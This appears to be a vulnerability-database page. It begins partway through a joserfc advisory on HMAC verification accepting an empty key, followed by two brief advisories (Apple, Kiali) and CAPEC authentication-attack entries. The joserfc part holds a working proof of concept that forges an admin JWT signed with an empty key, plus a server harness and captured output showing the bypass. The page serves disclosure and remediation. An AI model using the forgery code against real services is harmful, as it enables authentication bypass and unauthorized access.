added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n SHA256 = hashlib.sha256\n SHA384 = hashlib.sha384\n SHA512 = hashlib.sha512\n\n def __init__(self, sha_type, recommended=False):\n self.name = f\"HS{sha_type}\"\n self.description = f\"HMAC using SHA-{sha_type}\"\n self.recommended = recommended\n self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n self.algorithm_security = sha_type\n\n def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n op_key = key.get_op_key(\"sign\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n op_key = key.get_op_key(\"verify\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if len(key.raw_value) \u003c 14:\n # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python\u0027s `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt\u0027s fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n raise_verify_error!(\u0027HMAC key expected to be a String\u0027) unless key.is_a?(String)\n raise_verify_error!(\u0027HMAC key cannot be empty\u0027) if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` \u2192\n `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` \u2192 returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n attacker computed exactly that digest with the same empty key, so\n `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n \"sub\": \"attacker\", \"admin\": True,\n \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\")) # default = \"\"\n try:\n tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n c = tok.claims\n body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n return [body]\n except Exception as e:\n start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n# state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026 # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub=\u0027attacker\u0027 admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration | Observed | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\") | HTTP 200, `admin=True` (verified) | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError` | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker\u0027s token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N \u2014 AC:H because of the\n operator-misconfiguration precondition; impact otherwise matches\n authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if not key.raw_value:\n raise ValueError(\"oct key material must not be empty\")\n if len(key.raw_value) \u003c 14:\n warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n ...\n def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n op_key = key.get_op_key(\"sign\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n op_key = key.get_op_key(\"verify\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0\u0027s approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-gg9x-qcx2-xmrh",
"modified": "2026-07-02T19:12:08Z",
"published": "2026-07-02T19:12:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/joserfc"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)"
}
GHSA-GGCC-JFXP-HXPH
Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13A logic issue was addressed with improved state management. This issue is fixed in iOS 14.7, tvOS 14.7, watchOS 7.6. A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication.
{
"affected": [],
"aliases": [
"CVE-2021-30769"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-08T14:15:00Z",
"severity": "MODERATE"
},
"details": "A logic issue was addressed with improved state management. This issue is fixed in iOS 14.7, tvOS 14.7, watchOS 7.6. A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication.",
"id": "GHSA-ggcc-jfxp-hxph",
"modified": "2022-05-24T19:13:45Z",
"published": "2022-05-24T19:13:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30769"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212601"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212604"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212605"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GGJR-2F7V-VHQ4
Vulnerability from github – Published: 2021-06-01 21:57 – Updated: 2022-08-11 16:53An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy OpenID is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID implicit flow is used with RBAC turned off, this token validation doesn't occur, and this allows a malicious user to bypass the authentication.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kiali/kiali"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-20278"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-01T17:44:07Z",
"nvd_published_at": "2021-05-28T11:15:00Z",
"severity": "MODERATE"
},
"details": "An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy `OpenID` is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID `implicit flow` is used with RBAC turned off, this token validation doesn\u0027t occur, and this allows a malicious user to bypass the authentication.",
"id": "GHSA-ggjr-2f7v-vhq4",
"modified": "2022-08-11T16:53:09Z",
"published": "2021-06-01T21:57:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20278"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1937171"
},
{
"type": "WEB",
"url": "https://kiali.io/news/security-bulletins/kiali-security-002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kiali Authentication Bypass vulnerability"
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.